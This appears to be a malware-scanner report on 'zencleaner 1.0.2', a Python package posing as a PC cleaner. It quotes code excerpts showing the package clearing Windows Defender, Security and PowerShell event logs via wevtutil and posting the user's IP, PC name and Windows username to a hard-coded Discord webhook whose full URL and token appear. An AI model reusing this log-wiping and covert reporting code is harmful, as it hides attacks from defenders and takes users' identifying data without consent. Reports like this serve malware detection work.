zencleaner 1.0.2
“ZenCleaner - type 'zencleaner' in your terminal to open a localhost web UI that actually cleans your PC.”
Python script clears Windows Defender event logHost identity reported to a Discord webhook
SHA-2562039a3139a858b58a0c8b51f751c9a6432a218664657771033649b4b5531c1cc
Also flagged by osm (Malicious package detected. Behaviors: data exfiltration, code execution.) +2 more.
Evidence
178:6… System",
179 "Application",
180 "Security",
181 "Windows PowerShell",
182 "Microsoft-Windows-PowerShell/Operational",
183 "Microsoft-Windows-Windows Defender/Operational",
184]
185
186
187def _system_informer_bases():
188 """System Informer / Process Hacker data folders that keep logs, settings
189 and crash records. These remember every process you inspected, so a scan
190 by name must look inside them too."""
191 roaming = os.environ.get("APPDATA", "")
192 local = os.environ.get("LOCALAPPDATA", "")
193 bases = []
194 if roaming:
195 bases.append(os.path.join(roaming, "SystemInfor …
252:52… ffort, [] on failure."""
253 pids = []
254 try:
255 proc = subprocess.run(
256 ["tasklist", "/FI", f"IMAGENAME eq {image_name}",
257 "/FO", "CSV", "/NH"],
258 capture_output=True, text=True, errors="ignore",
259 timeout=15, check=False)
260 for line in (proc.stdout or "").splitlines():
261 cells = [c.strip().strip('"') for c in line.split('","')]
262 if len(cells) >= 2 and …
800 removed.append(location)
801 elif action == "clear event log":
802 proc = subprocess.run(["wevtutil", "cl", location],
803 capture_output=True, timeout=30, check=False)
804 if proc.returncode == 0:
⋯4 lines
1"""Discord webhook logging for ZenCleaner license events.
2
3Every activation attempt (success or failure) is posted to the configured
4Discord webhook as a rich embed. Posting is done on a daemon thread and
5never raises - logging must never break the app.
6
7NOTE: the webhook URL is a secret. Anyone who has it can post to the
8channel - do not ship it in anything public.
9"""
10import json
11import os
12import socket
13import threading
14import urllib.request
15from datetime import datetime
16
17WEBHOOK_URL = (
18 "https://discord.com/api/webhooks/1555423493796012102/"
19 "mpEQAiBpZ6oX2Dm3PY5WC9M1WwVOI0xRFF7dMs_Ta_nSrACSzIUP56ywyZbNKm_RX5Ri"
20)
⋯7 lines
28def _post(payload):
29 try:
30 data = json.dumps(payload).encode("utf-8")
31 req = urllib.request.Request(
32 WEBHOOK_URL, data=data,
33 headers={"Content-Type": "application/json"})
34 urllib.request.urlopen(req, timeout=5)
35 except Exception:
36 pass # never break the app because of logging
37
38
39def _mask_key(key):
40 """Show first 8 chars of a key, rest masked (still iden …
⋯4 lines
125 ("Result", "Success" if ok else "Failed"),
126 ("IP", ip),
127 ("PC name", os.environ.get("COMPUTERNAME", socket.gethostname())),
128 ("Windows user", os.environ.get("USERNAME", "unknown")),
129 ("Duration", duration),
130 ("Expires", str(expires)[:60]),
⋯6 lines
Showing the top 5 files — 6 more files (86 regions) not shown.
No evidence locations were recorded for this file. Raw result